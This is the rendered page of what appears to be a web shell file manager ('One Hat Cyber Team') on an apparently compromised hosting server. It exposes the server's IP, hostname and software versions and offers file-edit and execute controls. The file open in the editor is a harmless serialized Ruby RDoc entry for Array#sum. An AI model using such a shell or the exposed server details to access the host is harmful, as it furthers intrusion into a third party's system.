⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
share
/
ri
/
3.0.0
/
system
/
Array
/
Edit File: sum-i.ri
U:RDoc::AnyMethod[iI"sum:ETI"Array#sum;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I">When no block is given, returns the object equivalent to:;To:RDoc::Markup::Verbatim; [I"sum = init ;TI",array.each {|element| sum += element } ;TI" sum ;T:@format0o; ; [I"RFor example, <tt>[e1, e2, e3].sum</tt> returns </tt>init + e1 + e2 + e3</tt>.;To:RDoc::Markup::BlankLine o; ; [I"Examples:;To;; [I"a = [0, 1, 2, 3] ;TI"a.sum # => 6 ;TI"a.sum(100) # => 106 ;T;0o; ; [I"IThe elements need not be numeric, but must be <tt>+</tt>-compatible ;TI"%with each other and with +init+:;To;; [I"a = ['abc', 'def', 'ghi'] ;TI"&a.sum('jkl') # => "jklabcdefghi" ;T;0o; ; [I";When a block is given, it is called with each element ;TI"Xand the block's return value (instead of the element itself) is used as the addend:;To;; [I"a = ['zero', 1, :two] ;TI"Gs = a.sum('Coerced and concatenated: ') {|element| element.to_s } ;TI"1s # => "Coerced and concatenated: zero1two" ;T;0o; ; [I"Notes:;To:RDoc::Markup::List: @type:BULLET:@items[o:RDoc::Markup::ListItem:@label0; [o; ; [I"?Array#join and Array#flatten may be faster than Array#sum ;TI"5for an \Array of Strings or an \Array of Arrays.;To;;0; [o; ; [I"[Array#sum method may not respect method redefinition of "+" methods such as Integer#+.;T: @fileI"array.c;T:0@omit_headings_from_table_of_contents_below0I"Rarray.sum(init = 0) -> object array.sum(init = 0) {|element| ... } -> object ;T0[ I"(*args);T@@FI" Array;TcRDoc::NormalClass00
Simpan